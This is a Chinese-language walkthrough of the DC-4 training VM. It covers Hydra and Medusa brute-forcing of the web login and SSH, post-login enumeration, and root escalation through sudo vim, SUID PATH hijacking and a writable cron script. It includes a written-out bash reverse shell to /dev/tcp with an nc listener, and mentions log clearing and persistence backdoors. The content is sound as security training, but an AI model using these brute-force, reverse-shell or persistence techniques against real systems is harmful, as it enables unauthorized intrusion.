DC-4靶機(jī)實(shí)戰(zhàn):SSH暴力破解與Linux提權(quán)技術(shù)深度解析
1. 項(xiàng)目概述從靶機(jī)到實(shí)戰(zhàn)的SSH攻防演練最近在整理滲透測試的學(xué)習(xí)筆記翻到了DC-4這個(gè)經(jīng)典的靶機(jī)。它不像DC-1那樣是純粹的入門引導(dǎo)也不像DC-3那樣有明確的Web路徑DC-4更像是一個(gè)“混合型”的實(shí)戰(zhàn)沙盒其核心挑戰(zhàn)之一就是SSH服務(wù)的暴力破解與后續(xù)的權(quán)限提升。很多朋友在打這個(gè)靶機(jī)時(shí)往往卡在Web登錄后的那一步或者即使拿到了一個(gè)低權(quán)限的shell也不知道如何進(jìn)一步突破。今天我就以一個(gè)老滲透手的視角把DC-4靶機(jī)中涉及SSH暴力破解的技巧、工具的選擇與優(yōu)化、以及拿到立足點(diǎn)后的提權(quán)路徑掰開揉碎了講一遍。這不僅僅是打靶其中的思路和方法對于理解真實(shí)環(huán)境中Linux服務(wù)器的弱口令防護(hù)和權(quán)限維持有著直接的參考價(jià)值。DC-4靶機(jī)模擬了一個(gè)常見的場景一個(gè)對外提供Web服務(wù)的應(yīng)用其后臺(tái)管理入口暴露并且服務(wù)器上運(yùn)行著SSH服務(wù)。攻擊者通常的路徑是通過Web漏洞或弱口令進(jìn)入后臺(tái)在后臺(tái)尋找線索比如SSH憑據(jù)然后嘗試登錄SSH。如果SSH密碼強(qiáng)度不足暴力破解就成了最直接有效的手段。成功登錄SSH后我們獲得的往往是一個(gè)普通用戶權(quán)限這時(shí)就需要運(yùn)用各種本地提權(quán)技術(shù)最終拿到root權(quán)限。整個(gè)過程考驗(yàn)的是信息收集、密碼攻擊的效率和提權(quán)漏洞的發(fā)現(xiàn)能力。下面我們就按照這個(gè)實(shí)戰(zhàn)流程一步步拆解。2. 環(huán)境搭建與信息收集奠定攻擊基礎(chǔ)在開始任何攻擊之前充分的信息收集是成功的一半。對于DC-4這類已知的靶機(jī)我們雖然知道目標(biāo)大概是什么但嚴(yán)謹(jǐn)?shù)牧鞒滩荒苌龠@能培養(yǎng)良好的實(shí)戰(zhàn)習(xí)慣。2.1 靶機(jī)環(huán)境配置與網(wǎng)絡(luò)發(fā)現(xiàn)首先確保你的攻擊機(jī)通常是Kali Linux和DC-4靶機(jī)處于同一網(wǎng)絡(luò)段。我習(xí)慣使用VMware或VirtualBox的NAT網(wǎng)絡(luò)模式這樣能模擬一個(gè)隔離的內(nèi)部網(wǎng)絡(luò)環(huán)境。啟動(dòng)靶機(jī)后第一步是發(fā)現(xiàn)它的IP地址。這里最常用的工具是netdiscover或者nmap進(jìn)行ARP掃描。我更喜歡用nmap因?yàn)樗`活。sudo nmap -sn 192.168.1.0/24這條命令會(huì)對192.168.1.0/24網(wǎng)段進(jìn)行Ping掃描-sn 不進(jìn)行端口掃描快速找出存活的設(shè)備。從結(jié)果中找到那個(gè)不屬于你已知設(shè)備的IP很可能就是DC-4。假設(shè)我們發(fā)現(xiàn)的靶機(jī)IP是192.168.1.105。注意在實(shí)際的授權(quán)滲透測試中必須明確獲得掃描目標(biāo)網(wǎng)段的許可。未經(jīng)授權(quán)的掃描是違法行為。拿到IP后我們需要進(jìn)行更詳細(xì)的端口掃描以了解靶機(jī)開放了哪些服務(wù)。sudo nmap -sS -sV -O -p- 192.168.1.105-sS: TCP SYN掃描一種半開放掃描速度快且相對隱蔽。-sV: 版本探測嘗試識(shí)別運(yùn)行在開放端口上的服務(wù)及其版本。-O: 操作系統(tǒng)探測。-p-: 掃描所有65535個(gè)端口。掃描結(jié)果通常會(huì)顯示兩個(gè)關(guān)鍵端口80/tcp: HTTP運(yùn)行著一個(gè)Web服務(wù)。這是我們的初始入口。22/tcp: SSH運(yùn)行著OpenSSH服務(wù)。這是我們暴力破解和后續(xù)登錄的目標(biāo)。2.2 Web應(yīng)用初步偵察與入口突破既然有Web服務(wù)瀏覽器訪問http://192.168.1.105是必然的。DC-4的Web界面通常是一個(gè)簡單的登錄頁面。面對登錄框我們首先嘗試一些常見的弱口令比如admin/admin、admin/password等。在DC-4中這些往往不奏效。這時(shí)我們需要更系統(tǒng)的方法。使用Burp Suite或Hydra對登錄表單進(jìn)行暴力破解是標(biāo)準(zhǔn)操作。但在此之前用瀏覽器開發(fā)者工具F12查看一下登錄請求的格式非常關(guān)鍵。你需要弄清楚請求方法通常是POST。參數(shù)名用戶名和密碼對應(yīng)的字段名比如username和password??赡艿腻e(cuò)誤提示登錄失敗時(shí)頁面返回什么信息是“登錄失敗”還是“用戶名或密碼錯(cuò)誤”這關(guān)系到我們使用工具時(shí)判斷成功的條件。假設(shè)我們通過Burp Suite抓包發(fā)現(xiàn)POST數(shù)據(jù)為usernameadminpasswordtestsubmitLogin失敗時(shí)頁面會(huì)包含“Invalid username or password”字樣。我們可以使用Hydra來針對這個(gè)登錄進(jìn)行爆破hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid username or password-l admin: 指定用戶名為admin如果我們通過其他信息收集猜到了用戶名。-P ...: 指定密碼字典這里用了Kali自帶的rockyou.txt需先解壓sudo gunzip /usr/share/wordlists/rockyou.txt.gz。http-post-form: 指定協(xié)議模塊。后面的參數(shù)是模塊的詳細(xì)格式路徑:POST數(shù)據(jù):失敗條件。在DC-4的實(shí)際演練中你可能會(huì)發(fā)現(xiàn)直接對admin用戶爆破不成功。這時(shí)信息收集的另一個(gè)方面就很重要了枚舉用戶名。也許網(wǎng)站存在注冊功能、密碼找回功能或者頁面源碼、注釋里隱藏了其他用戶名如jim,charles等。我們可以先準(zhǔn)備一個(gè)用戶名字典users.txt然后同時(shí)爆破用戶名和密碼。hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form /login.php:username^USER^password^PASS^submitLogin:Invalid username or password成功爆破后我們就能進(jìn)入Web后臺(tái)。在DC-4的后臺(tái)往往存在一個(gè)“命令執(zhí)行”功能點(diǎn)比如一個(gè)可以輸入命令并返回結(jié)果的輸入框。這通常是我們獲取第一個(gè)反向Shell的跳板。3. SSH暴力破解的核心技巧與工具實(shí)戰(zhàn)通過Web后臺(tái)的命令執(zhí)行功能我們通常能獲得一個(gè)www-data用戶權(quán)限的Shell。但這個(gè)Shell往往受限比如沒有TTY交互性差也不穩(wěn)定。因此轉(zhuǎn)向SSH是建立更穩(wěn)定、功能更完整控制通道的最佳選擇。但SSH密碼是什么這就需要暴力破解。3.1 從Web Shell到SSH用戶枚舉在拿到低權(quán)限Web Shell后第一件事是查看系統(tǒng)中有哪些用戶特別是那些可能擁有登錄Shell的用戶如/bin/bash,/bin/sh。cat /etc/passwd | grep -E “(/bin/bash|/bin/sh)”這個(gè)命令會(huì)列出所有可以使用bash或sh登錄的用戶。在DC-4中你可能會(huì)發(fā)現(xiàn)除了root還有像jim,charles這樣的用戶。接下來嘗試尋找這些用戶的蛛絲馬跡。檢查他們的家目錄如果可讀看看有沒有.ssh目錄、歷史文件.bash_history、或者配置文件。有時(shí)密碼可能直接寫在某個(gè)文本文件里或者通過歷史命令暴露出來。ls -la /home/jim/ cat /home/jim/.bash_history 2/dev/null find / -name “*.txt” -o -name “*.bak” -o -name “*.old” 2/dev/null | grep -v /proc如果這些直接的信息收集沒有收獲那么針對SSH的暴力破解就提上日程了。3.2 Hydra與Medusa經(jīng)典工具的深度使用Hydra和Medusa是網(wǎng)絡(luò)服務(wù)暴力破解的兩大利器。對于SSH它們都非常高效。使用Hydra爆破SSH假設(shè)我們通過信息收集懷疑用戶jim可能存在弱口令。hydra -l jim -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.105 -t 4-t 4: 指定任務(wù)并行數(shù)根據(jù)網(wǎng)絡(luò)情況和目標(biāo)承受能力調(diào)整默認(rèn)是16對于SSH可以調(diào)低以減少連接失敗。使用Medusa爆破SSHMedusa的模塊化設(shè)計(jì)有時(shí)在復(fù)雜環(huán)境下更穩(wěn)定。medusa -h 192.168.1.105 -u jim -P /usr/share/wordlists/rockyou.txt -M ssh實(shí)操心得與避坑指南速率控制無限制的高速爆破很容易觸發(fā)目標(biāo)的防御機(jī)制如fail2ban導(dǎo)致IP被封鎖也可能會(huì)壓垮目標(biāo)服務(wù)。務(wù)必使用-wHydra或-tMedusa等參數(shù)控制線程數(shù)并考慮使用-fHydra在找到第一個(gè)有效密碼后停止。字典質(zhì)量rockyou.txt是很好的起點(diǎn)但它包含1400多萬個(gè)密碼對SSH進(jìn)行全量爆破非常耗時(shí)。更好的方法是使用針對性字典。例如如果目標(biāo)用戶叫jim可以嘗試將jim、jim123、jim2023、passwordjim等組合密碼加入一個(gè)自定義的小字典優(yōu)先嘗試。工具如CUPP可以根據(jù)個(gè)人信息生成針對性字典。錯(cuò)誤處理SSH爆破會(huì)產(chǎn)生大量連接錯(cuò)誤日志。使用-vVHydra或-v 6Medusa查看詳細(xì)輸出但要注意過于詳細(xì)的輸出在大型字典爆破時(shí)會(huì)影響速度。通常先快速測試一個(gè)小字典再用大字典耐心跑。協(xié)議差異確保指定了正確的協(xié)議ssh://。Hydra支持很多協(xié)議寫錯(cuò)協(xié)議模塊是常見錯(cuò)誤。3.3 利用已獲信息進(jìn)行精準(zhǔn)爆破在滲透測試中“暴力”不等于“盲目”。我們應(yīng)充分利用已獲得的所有信息來縮小攻擊面。用戶名列表從/etc/passwd、Web應(yīng)用頁面、郵件列表等處收集可能的用戶名生成users.txt。密碼規(guī)則如果從Web應(yīng)用、數(shù)據(jù)庫備份或配置文件里發(fā)現(xiàn)了密碼策略如“密碼必須包含大寫字母和數(shù)字”可以利用hashcat的規(guī)則模式或John the Ripper的規(guī)則來生成符合策略的字典。密碼復(fù)用如果已經(jīng)拿到了一個(gè)用戶比如charles的密碼可能從Web后臺(tái)的配置文件中發(fā)現(xiàn)一定要嘗試這個(gè)密碼在其他用戶如jim,root上的復(fù)用。很多人會(huì)在不同賬戶使用相同或相似的密碼。在DC-4的場景中經(jīng)過合理的字典和用戶枚舉你很有可能會(huì)成功爆破出用戶jim的SSH密碼。4. SSH登錄后的初步立足與信息收集成功使用ssh jim192.168.1.105登錄后我們獲得了一個(gè)交互性更好的Shell。但這只是普通用戶權(quán)限我們的目標(biāo)是root。接下來的每一步操作都是為了向這個(gè)目標(biāo)邁進(jìn)。4.1 基礎(chǔ)信息收集清單登錄后不要急著亂跑。系統(tǒng)性地收集信息能讓你更快地找到提權(quán)突破口。我習(xí)慣執(zhí)行以下命令序列當(dāng)前用戶權(quán)限id whoami sudo -l # **非常重要** 查看當(dāng)前用戶能以root身份運(yùn)行哪些命令。sudo -l是提權(quán)的“黃金門票”。如果用戶被配置了無需密碼就能以root身份運(yùn)行特定命令如/bin/bash,vim,find,python等提權(quán)幾乎瞬間完成。系統(tǒng)信息uname -a # 內(nèi)核版本 cat /etc/issue # 系統(tǒng)發(fā)行版信息 cat /etc/os-release dpkg -l 2/dev/null | head -20 # Debian/Ubuntu查看已安裝軟件包 rpm -qa 2/dev/null | head -20 # CentOS/RHEL查看已安裝軟件包內(nèi)核版本和發(fā)行版信息用于搜索公開的本地提權(quán)漏洞如DirtyCow。進(jìn)程與服務(wù)ps aux netstat -tulpn 或 ss -tulpn # 查看網(wǎng)絡(luò)連接和監(jiān)聽端口 systemctl list-units --typeservice --staterunning # 查看運(yùn)行的系統(tǒng)服務(wù)高權(quán)限運(yùn)行的異常進(jìn)程、內(nèi)部開放的有漏洞服務(wù)都可能是突破口。計(jì)劃任務(wù)crontab -l # 查看當(dāng)前用戶的計(jì)劃任務(wù) ls -la /etc/cron* # 查看系統(tǒng)級計(jì)劃任務(wù)目錄 cat /etc/crontab檢查是否有任何計(jì)劃任務(wù)以root權(quán)限運(yùn)行并且其腳本或二進(jìn)制文件當(dāng)前用戶有寫入權(quán)限。如果有可以通過寫入惡意命令來提權(quán)。SUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null查找設(shè)置了SUIDSet User ID或GUIDSet Group ID位的文件。這些文件在執(zhí)行時(shí)會(huì)以文件所有者通常是root的權(quán)限運(yùn)行。如果這些文件本身存在漏洞如nmap舊版本、vim、find、bash等或者其行為可被操控就可能用于提權(quán)。敏感文件與目錄權(quán)限find / -writable -type d 2/dev/null # 查找當(dāng)前用戶可寫的目錄 find / -perm -ow -type f 2/dev/null | grep -v /proc # 查找全局可寫的文件 ls -la /etc/passwd /etc/shadow # 檢查密碼文件權(quán)限全局可寫的腳本、配置文件特別是那些會(huì)被root執(zhí)行的是絕佳的提權(quán)點(diǎn)。4.2 DC-4靶機(jī)中的常見提權(quán)路徑分析根據(jù)以往的經(jīng)驗(yàn)DC-4的提權(quán)路徑通常設(shè)計(jì)得比較“經(jīng)典”旨在教學(xué)。在系統(tǒng)性地執(zhí)行完上述信息收集后你可能會(huì)發(fā)現(xiàn)以下一個(gè)或多個(gè)線索sudo權(quán)限濫用用戶jim可能被配置了sudo權(quán)限可以無需密碼運(yùn)行某個(gè)編輯器如vim或文本處理器如more,less。例如sudo -l返回(root) NOPASSWD: /usr/bin/vim。這時(shí)在vim中執(zhí)行:!bash或:!sh就能直接獲得一個(gè)root shell。SUID二進(jìn)制文件系統(tǒng)中可能放置了一個(gè)設(shè)置了SUID位的、非常規(guī)的二進(jìn)制文件。使用上述find命令找出來后需要研究這個(gè)程序的用途。如果它是一個(gè)自定義程序嘗試用strings命令查看其字符串或者用ltrace/strace跟蹤其執(zhí)行過程看它是否調(diào)用了其他命令如cat,ls并且沒有使用絕對路徑。如果存在路徑劫持的可能提權(quán)就很簡單了。計(jì)劃任務(wù)Cron Job可能有一個(gè)root權(quán)限的定時(shí)任務(wù)執(zhí)行一個(gè)當(dāng)前用戶有寫入權(quán)限的腳本。通過編輯這個(gè)腳本插入反向Shell命令如bash -i /dev/tcp/攻擊機(jī)IP/端口 01等待任務(wù)執(zhí)行就能獲得root shell。內(nèi)核漏洞作為最后的手段。使用uname -a獲取內(nèi)核版本然后在攻擊機(jī)上搜索對應(yīng)的本地提權(quán)漏洞如searchsploit linux kernel 3.13。下載EXP上傳到靶機(jī)編譯并執(zhí)行。注意內(nèi)核漏洞利用有風(fēng)險(xiǎn)可能導(dǎo)致系統(tǒng)崩潰。在靶機(jī)環(huán)境可以嘗試在生產(chǎn)環(huán)境需極度謹(jǐn)慎。5. 經(jīng)典提權(quán)方法實(shí)戰(zhàn)演示以SUID和Cron為例假設(shè)我們在DC-4的信息收集中發(fā)現(xiàn)了以下兩個(gè)典型的提權(quán)點(diǎn)。5.1 SUID文件提權(quán)路徑劫持與自定義程序分析執(zhí)行find / -type f -perm -4000 2/dev/null后除了常見的/bin/ping、/bin/su等我們發(fā)現(xiàn)了一個(gè)不常見的文件/usr/local/bin/suid-example。首先查看這個(gè)文件的基本信息ls -la /usr/local/bin/suid-example file /usr/local/bin/suid-example發(fā)現(xiàn)它屬于root并且設(shè)置了SUID位。接著嘗試運(yùn)行它看看它做什么/usr/local/bin/suid-example它可能輸出一些信息或者要求輸入。我們用strings看看里面有什么strings /usr/local/bin/suid-example在輸出中我們可能看到像system(“l(fā)s /tmp”)或system(“cat /home/jim/data.txt”)這樣的字符串。這說明這個(gè)程序內(nèi)部調(diào)用了ls或cat等系統(tǒng)命令。關(guān)鍵點(diǎn)來了它調(diào)用ls時(shí)使用的是相對路徑還是絕對路徑如果是相對路徑直接寫ls而不是/bin/ls那么系統(tǒng)會(huì)在$PATH環(huán)境變量指定的目錄中尋找名為ls的可執(zhí)行文件。而$PATH變量是繼承自執(zhí)行這個(gè)SUID程序的用戶的雖然程序以root權(quán)限運(yùn)行但環(huán)境變量可能被當(dāng)前用戶控制。我們可以檢查并篡改$PATHecho $PATH假設(shè)$PATH包含/home/jim/bin:/usr/local/sbin:/usr/local/bin...。我們將一個(gè)惡意腳本命名為ls放在/home/jim/bin這個(gè)目錄我們需要有寫權(quán)限下。創(chuàng)建惡意ls腳本cd /home/jim mkdir -p bin echo ‘/bin/bash -p’ bin/ls # ‘-p’ 選項(xiàng)在bash中用于保留特權(quán)模式 chmod x bin/ls然后確保/home/jim/bin在$PATH中的順序優(yōu)先于/binexport PATH/home/jim/bin:$PATH現(xiàn)在再次運(yùn)行那個(gè)SUID程序/usr/local/bin/suid-example。當(dāng)它試圖執(zhí)行l(wèi)s命令時(shí)會(huì)優(yōu)先找到我們放在/home/jim/bin下的惡意ls腳本并以root權(quán)限執(zhí)行它從而給我們一個(gè)root shell。5.2 Cron Job提權(quán)利用可寫腳本執(zhí)行cat /etc/crontab或查看/etc/cron.*目錄時(shí)發(fā)現(xiàn)如下一行* * * * * root /opt/scripts/backup.sh這表示root用戶每分鐘都會(huì)執(zhí)行一次/opt/scripts/backup.sh腳本。我們檢查這個(gè)腳本的權(quán)限ls -la /opt/scripts/backup.sh如果發(fā)現(xiàn)這個(gè)腳本對當(dāng)前用戶jim可寫或者其所在目錄/opt/scripts對jim可寫那么機(jī)會(huì)就來了。首先備份原腳本可選但建議cp /opt/scripts/backup.sh /opt/scripts/backup.sh.bak然后編輯這個(gè)腳本在末尾添加我們的反向Shell命令。我們需要知道攻擊機(jī)的IP和監(jiān)聽端口。假設(shè)攻擊機(jī)IP是192.168.1.100監(jiān)聽端口4444。echo ‘bash -i /dev/tcp/192.168.1.100/4444 01’ /opt/scripts/backup.sh在攻擊機(jī)上用nc監(jiān)聽4444端口nc -lvnp 4444等待最多一分鐘Cron任務(wù)執(zhí)行后攻擊機(jī)的nc監(jiān)聽端就會(huì)收到一個(gè)來自靶機(jī)的、root權(quán)限的反向Shell連接。重要提示在實(shí)際滲透測試中修改系統(tǒng)文件前務(wù)必三思并最好先取得明確授權(quán)。在靶機(jī)環(huán)境中則可以大膽練習(xí)。6. 問題排查與進(jìn)階思考在實(shí)際操作中不會(huì)總是一帆風(fēng)順。下面是一些常見問題及排查思路。6.1 SSH暴力破解失敗的可能原因IP被封鎖目標(biāo)可能部署了fail2ban等入侵防御系統(tǒng)。表現(xiàn)是Hydra大量報(bào)告“Connection closed by remote host”或超時(shí)。應(yīng)對降低線程數(shù)-t 1增加延遲Hydra沒有直接參數(shù)可配合其他工具如slowhttptest思路或換用Medusa的-t和-T控制線程和延遲?;蛘呷绻麠l件允許更換攻擊源IP。字典不匹配使用的密碼字典完全不符合目標(biāo)的密碼策略如全是短密碼而目標(biāo)要求12位以上。應(yīng)對結(jié)合信息收集結(jié)果生成針對性字典。利用之前獲得的任何密碼如Web后臺(tái)密碼進(jìn)行變形添加數(shù)字、符號(hào)、大小寫變換生成新字典。用戶名錯(cuò)誤你爆破的用戶根本不存在或者無法通過SSH登錄shell是/sbin/nologin。應(yīng)對仔細(xì)分析/etc/passwd確認(rèn)哪些用戶有可登錄的shell。也可以嘗試用hydra的-L選項(xiàng)配合一個(gè)較大的用戶名字典。SSH配置限制目標(biāo)SSH服務(wù)可能配置了AllowUsers或DenyUsers限制了可登錄的用戶。應(yīng)對這種信息從外部難以直接獲取。如果Web Shell存在可以嘗試查看/etc/ssh/sshd_config文件。6.2 提權(quán)過程中的常見障礙與繞過sudo需要密碼sudo -l顯示可以運(yùn)行某些命令但需要輸入當(dāng)前用戶的密碼。應(yīng)對嘗試用已收集的密碼如SSH密碼來sudo。如果不行這條路暫時(shí)放棄尋找其他向量。SUID文件行為復(fù)雜找到的SUID文件行為不易理解或者調(diào)用的命令使用了絕對路徑。應(yīng)對使用strace跟蹤系統(tǒng)調(diào)用ltrace跟蹤庫函數(shù)調(diào)用這能清晰展示程序執(zhí)行過程。如果使用絕對路徑路徑劫持失效需要分析程序本身的邏輯是否有漏洞如緩沖區(qū)溢出但這通常超出了基礎(chǔ)提權(quán)范圍。內(nèi)核EXP編譯失敗或?qū)е卤罎?yīng)對確保EXP代碼與目標(biāo)系統(tǒng)架構(gòu)x86/x64匹配。查看EXP代碼中的說明可能需要安裝gcc和make。在靶機(jī)上編譯前可以先在類似環(huán)境的虛擬機(jī)中測試。如果導(dǎo)致系統(tǒng)崩潰在靶機(jī)環(huán)境中重啟即可但在真實(shí)環(huán)境中這是災(zāi)難性的。沒有明顯的提權(quán)向量應(yīng)對回歸信息收集檢查得更仔細(xì)。查看用戶的郵件/var/mail/、緩存文件、日志文件/var/log/、臨時(shí)文件/tmp/,/var/tmp/。使用自動(dòng)化腳本如LinEnum.sh或linpeas.sh需要上傳到靶機(jī)進(jìn)行全面的權(quán)限檢查這些腳本能高效地發(fā)現(xiàn)容易被忽略的弱點(diǎn)。6.3 從靶機(jī)到實(shí)戰(zhàn)的思維延伸DC-4是一個(gè)理想化的教學(xué)環(huán)境真實(shí)世界要復(fù)雜得多。密碼策略企業(yè)環(huán)境的密碼策略更嚴(yán)格單純的字典爆破成功率低。需要結(jié)合社會(huì)工程學(xué)、密碼泄露庫如Have I Been Pwned、以及針對特定規(guī)則生成的密碼進(jìn)行攻擊。多因素認(rèn)證MFA越來越多的SSH和關(guān)鍵服務(wù)啟用MFA這會(huì)讓密碼破解失去意義。此時(shí)需要尋找其他入口點(diǎn)比如利用Web應(yīng)用的邏輯漏洞、供應(yīng)鏈攻擊等。日志清理在獲得root權(quán)限后在靶機(jī)中可以練習(xí)清理訪問日志如/var/log/auth.log,/var/log/secure以及可能存在的~/.bash_history以掩蓋蹤跡。但在授權(quán)的滲透測試中是否需要清理日志取決于測試協(xié)議通常要求保留證據(jù)供分析。持久化拿到root不是終點(diǎn)。在真實(shí)攻擊中攻擊者會(huì)部署后門以實(shí)現(xiàn)持久化訪問。例如添加SSH公鑰到/root/.ssh/authorized_keys創(chuàng)建定時(shí)任務(wù)后門或者安裝rootkit。在靶機(jī)環(huán)境中也可以練習(xí)這些技術(shù)以理解防御方應(yīng)如何檢測。打靶的目的是理解攻擊鏈的每一個(gè)環(huán)節(jié)從而更好地構(gòu)建防御。通過對DC-4這類靶機(jī)的深入演練我們不僅能掌握SSH暴力破解、SUID提權(quán)、Cron提權(quán)等具體技術(shù)更能建立起“攻擊者視角”的思維方式永不滿足于當(dāng)前權(quán)限持續(xù)收集信息交叉驗(yàn)證線索將每一個(gè)細(xì)微的發(fā)現(xiàn)都視為潛在的突破口。這種系統(tǒng)性、耐心和創(chuàng)造力才是滲透測試工程師的核心價(jià)值所在。

相關(guān)新聞

多賬號(hào)矩陣管理工具解析與實(shí)戰(zhàn)指南

多賬號(hào)矩陣管理工具解析與實(shí)戰(zhàn)指南

1. 多賬號(hào)運(yùn)營的困境與破局 去年接手一個(gè)跨境電商項(xiàng)目時(shí),我手頭需要同時(shí)管理87個(gè)不同國家的店鋪賬號(hào)。每天在不同平臺(tái)間切換登錄、重復(fù)上傳商品、機(jī)械回復(fù)咨詢,這種低效操作讓我意識(shí)到:傳統(tǒng)單賬號(hào)運(yùn)營模式已經(jīng)無法適應(yīng)現(xiàn)代商業(yè)需求。 多賬號(hào)…

2026/7/29 8:56:11 閱讀更多
VB加密解密實(shí)戰(zhàn):從CryptoAPI調(diào)用到核心源碼剖析

VB加密解密實(shí)戰(zhàn):從CryptoAPI調(diào)用到核心源碼剖析

1. 項(xiàng)目概述:為什么今天還要聊VB加密?“Visual Basic加密解密實(shí)戰(zhàn):源碼剖析”這個(gè)標(biāo)題,乍一看可能會(huì)讓很多新入行的開發(fā)者感到困惑。Visual Basic?那不是上個(gè)世紀(jì)的古董語言嗎?現(xiàn)在誰還用VB做加密啊&#x…

2026/7/29 8:56:11 閱讀更多
終極百度網(wǎng)盤高速下載指南:簡單三步獲取直鏈地址

終極百度網(wǎng)盤高速下載指南:簡單三步獲取直鏈地址

終極百度網(wǎng)盤高速下載指南:簡單三步獲取直鏈地址 【免費(fèi)下載鏈接】baidu-wangpan-parse 獲取百度網(wǎng)盤分享文件的下載地址 項(xiàng)目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 還在為百度網(wǎng)盤下載速度慢而煩惱嗎?百度網(wǎng)盤直鏈解析工…

2026/7/29 8:46:10 閱讀更多
TI BLE SDK實(shí)戰(zhàn):從血壓心率傳感器示例到低功耗物聯(lián)網(wǎng)設(shè)備開發(fā)

TI BLE SDK實(shí)戰(zhàn):從血壓心率傳感器示例到低功耗物聯(lián)網(wǎng)設(shè)備開發(fā)

1. 項(xiàng)目概述與核心價(jià)值如果你正在或打算涉足物聯(lián)網(wǎng)設(shè)備的開發(fā),尤其是那些需要長時(shí)間待機(jī)、靠電池供電的傳感器類產(chǎn)品,那么低功耗藍(lán)牙技術(shù)絕對是你繞不開的核心技能。我接觸過不少項(xiàng)目,從智能手環(huán)到醫(yī)療貼片,大家遇到的第一個(gè)攔路虎…

2026/7/29 11:16:26 閱讀更多
多式聯(lián)運(yùn)路徑優(yōu)化:魯棒遺傳算法應(yīng)對需求與時(shí)間窗不確定性

多式聯(lián)運(yùn)路徑優(yōu)化:魯棒遺傳算法應(yīng)對需求與時(shí)間窗不確定性

1. 項(xiàng)目背景與核心挑戰(zhàn)多式聯(lián)運(yùn)作為現(xiàn)代物流體系中的重要組成部分,其路徑優(yōu)化問題一直是運(yùn)輸管理領(lǐng)域的重點(diǎn)研究方向。在實(shí)際運(yùn)輸場景中,我們常常面臨兩個(gè)關(guān)鍵不確定性因素:需求量的波動(dòng)和運(yùn)輸時(shí)間窗口的混合性。這兩個(gè)因素使得傳統(tǒng)確定性優(yōu)化…

2026/7/29 11:16:26 閱讀更多
Arduino循跡小車組裝指南:從機(jī)械結(jié)構(gòu)到電路布線的完整實(shí)踐

Arduino循跡小車組裝指南:從機(jī)械結(jié)構(gòu)到電路布線的完整實(shí)踐

1. 從零件到伙伴:組裝前的認(rèn)知與準(zhǔn)備如果你已經(jīng)跟著上一篇教程,把Arduino、L298N、TCRT5000這些名字從陌生的零件清單變成了手邊實(shí)實(shí)在在的模塊,那么恭喜你,你已經(jīng)完成了從“想法”到“實(shí)體”的第一步。但一堆零件和一臺(tái)能跑起來的…

2026/7/29 11:16:26 閱讀更多
LinkSwift網(wǎng)盤下載助手終極指南:九大平臺(tái)高速下載完全解決方案

LinkSwift網(wǎng)盤下載助手終極指南:九大平臺(tái)高速下載完全解決方案

LinkSwift網(wǎng)盤下載助手終極指南:九大平臺(tái)高速下載完全解決方案 【免費(fèi)下載鏈接】Online-disk-direct-link-download-assistant 一個(gè)基于 JavaScript 的網(wǎng)盤文件下載地址獲取工具。基于【網(wǎng)盤直鏈下載助手】修改 ,支持 百度網(wǎng)盤 / 阿里云盤 / 中國移動(dòng)云盤…

2026/7/29 11:16:26 閱讀更多
終極GitHub加速解決方案:10倍下載速度的完整指南

終極GitHub加速解決方案:10倍下載速度的完整指南

終極GitHub加速解決方案:10倍下載速度的完整指南 【免費(fèi)下載鏈接】Fast-GitHub 國內(nèi)Github下載很慢,用上了這個(gè)插件后,下載速度嗖嗖嗖的~! 項(xiàng)目地址: https://gitcode.com/gh_mirrors/fa/Fast-GitHub 還在為GitHub的蝸牛下…

2026/7/29 11:16:26 閱讀更多
面試官大笑:“一個(gè)任務(wù)拆給 5 個(gè) Subagent 并行跑,不比 1 個(gè)快 5 倍?“我搖頭:“快不了,還可能更慢“

面試官大笑:“一個(gè)任務(wù)拆給 5 個(gè) Subagent 并行跑,不比 1 個(gè)快 5 倍?“我搖頭:“快不了,還可能更慢“

前兩個(gè)月,我在重構(gòu) AlgoMooc 網(wǎng)站過程中,發(fā)現(xiàn)一個(gè)問題:在 Claude Code 里把一個(gè)任務(wù)拆給 5 個(gè) Subagent 并行跑,結(jié)果可能比 1 個(gè) agent 從頭干到尾還慢? 大多數(shù)人的第一反應(yīng)是反過來的:活是并行干的&#…

2026/7/29 0:15:24 閱讀更多
# 鴻蒙 HarmonyOS 應(yīng)用開發(fā)實(shí)戰(zhàn)(第25期)|骰子(Dice Roller)— Unicode 符號(hào)與動(dòng)畫渲染精講

# 鴻蒙 HarmonyOS 應(yīng)用開發(fā)實(shí)戰(zhàn)(第25期)|骰子(Dice Roller)— Unicode 符號(hào)與動(dòng)畫渲染精講

一、應(yīng)用概述 骰子(Dice Roller) 是一款經(jīng)典的休閑娛樂應(yīng)用,模擬了真實(shí)擲骰子的過程。應(yīng)用投擲兩個(gè)骰子(六面標(biāo)準(zhǔn)骰),使用 Unicode 骰面符號(hào)直觀展示每個(gè)骰子的點(diǎn)數(shù),并伴有快速滾動(dòng)的動(dòng)畫效果?!?/p>

2026/7/29 0:15:24 閱讀更多